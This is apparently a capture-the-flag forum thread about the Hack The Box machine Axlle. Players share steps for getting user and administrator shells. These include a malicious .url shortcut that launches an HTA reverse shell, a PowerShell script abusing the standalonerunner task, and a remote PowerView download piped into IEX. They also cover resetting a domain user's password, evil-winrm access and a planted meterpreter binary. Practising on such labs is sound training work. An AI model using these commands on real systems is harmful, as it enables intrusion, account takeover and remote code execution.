[Liy4]

How to Get Shell as Dallon.Matrix after making the shortcut file pointing to the HTA file

[macavitysworld]

Anybody know the password of his write-ups

Yes i do know the password, but @Axura has made clear that, password should not be shared without his consent. You may ask him. I'll link his discord handle: @axurasec

---

How to Get Shell as Dallon.Matrix after making the shortcut file pointing to the HTA file

Serve the file via smb server, create a shortcut and wait for some time, you should get shell as dallon.matrix

---

Hi everybody. I have two questions:
1. what reverse shell should be in the file shell.hta ?
2. I think i have problem with impacket-smbserver. Works with 127.0.0.1, not works from victim
PLS any help. Thanks advance.

Make sure that there are no firewall rules blocking SMB traffic (ports 445 and 139)

[Liy4]

Anybody know the password of his write-ups

Yes i do know the password, but @Axura has made clear that, password should not be shared without his consent. You may ask him. I'll link his discord handle: @axurasec

---

How to Get Shell as Dallon.Matrix after making the shortcut file pointing to the HTA file

Serve the file via smb server, create a shortcut and wait for some time, you should get shell as dallon.matrix

Gotcha....

---

Hi everybody. I have two questions:
1. what reverse shell should be in the file shell.hta ?
2. I think i have problem with impacket-smbserver. Works with 127.0.0.1, not works from victim
PLS any help. Thanks advance.

Make sure that there are no firewall rules blocking SMB traffic (ports 445 and 139)

[monkeyNo1]

Hi everybody. No need your own SMB server. Need:
1. file xx.hta with "powershell3base64" payload from revshells.com - upload to victim's folder C:\Users\Public
2. file xx.url with content:

[InternetShortcut]
URL=C:\Users\Public\xx.hta

This file upload to victim's C:\inetpub\testing
3. Before above open http server and listener on your machine, wait 2-3 seconds
4. You''ll get shell as dallon.matrix

---

Need help. As user dallon.matrix i change password for user jacob.greeny (tried both methods). But i can not get sell as jacob.greeny via RunasCs.exe, i get error. PLS help. Thanks advance.

[maggi]

I went to see if my janky ass way of getting on the box worked....works fine lobbing msf grenades still

BUT I believe they patched the root so overwriting of the standalonerunner is no longer a thing.

[Osminogka]

I went to see if my janky ass way of getting on the box worked....works fine lobbing msf grenades still

BUT I believe they patched the root so overwriting of the standalonerunner is no longer a thing.

Yes here is exploit that you can use to get administrator shell:

$rebootContent = @"
myTestDir
True
"@
$rebootContent | Set-Content -Path ".\reboot.rsf"

New-Item -Path ".\myTestDir\working" -ItemType Directory -Force

New-Item -Path ".\rsf.rsf" -ItemType File -Force
Copy-Item -Path ".\rsf.rsf" -Destination ".\myTestDir\working"

$commandContent = @"
Powershell base64 reverse shell
"@
$commandContent | Set-Content -Path ".\command.txt"

start nc listener and run this exploit in standalonerunner directory, and you have to wait around one minute

[maggi]

I got it using a blog post on github,  but damn that was quick. Like an hour after I noticed the permissions changed and posted.
I honestly thought if anything they would have killed off using an msf dll named "whatever.xll"

I got root when it was a simple overwrite and while the Admin hash still worked to login, and even though its an old box.....
It was a new challenge just sitting there taunting me so I had to solve it.

[Mas_PangaREP]

what for root guys ....

---

guys for root ===== after gaining shell as matrix
- Import PowerView
                (New-Object System.Net.WebClient).DownloadString('http://YOUR_IP/PowerView.ps1') | IEX
                . .\PowerView.ps1
- Set New Password for Jacob.Greeny
               $pass = ConvertTo-SecureString 'SuperSecuredPassword123!' -AsPlainText -Force
               Set-DomainUserPassword -Identity Jacob.Greeny -AccountPassword $pass
- Evil-winrm 
               evil-winrm -i 10.10.1.21 -u Jacob.Greeny -p SuperSecuredPassword123!
- overwrite .exe
               cd C:\Program Files (x86)\Windows Kits\10\testing\standaloneTesting\internal\x64
               create a meterpreter standalonerunner.exe.exe
               wget 10.10..x.x:8000/standalonerunner.exe -o standalonerunner.exe
               set ur meterpreter listener
               wait for the admin to run standalonerunner.exe
               after that get the root.txt c:\Users\Administrator\Desktop>more root.txt

stuck on evil-winrm,

[Mas_PangaREP]

I went to see if my janky ass way of getting on the box worked....works fine lobbing msf grenades still

BUT I believe they patched the root so overwriting of the standalonerunner is no longer a thing.

Yes here is exploit that you can use to get administrator shell:

$rebootContent = @"
myTestDir
True
"@
$rebootContent | Set-Content -Path ".\reboot.rsf"

New-Item -Path ".\myTestDir\working" -ItemType Directory -Force

New-Item -Path ".\rsf.rsf" -ItemType File -Force
Copy-Item -Path ".\rsf.rsf" -Destination ".\myTestDir\working"

$commandContent = @"
Powershell base64 reverse shell
"@
$commandContent | Set-Content -Path ".\command.txt"

start nc listener and run this exploit in standalonerunner directory, and you have to wait around one minute

can u tell spesifik method for this, using file or just copy paste that commands?. im stuck

[Mas_PangaREP]

Can someone help or guide me in completing the Axlle HTB machine? I’ve followed all the instructions at https://github.com/0xCyberArtisan/Axlle_...in/note.md, and when I reached the last command, I’m stuck and don’t know how to get nc 4443 to connect.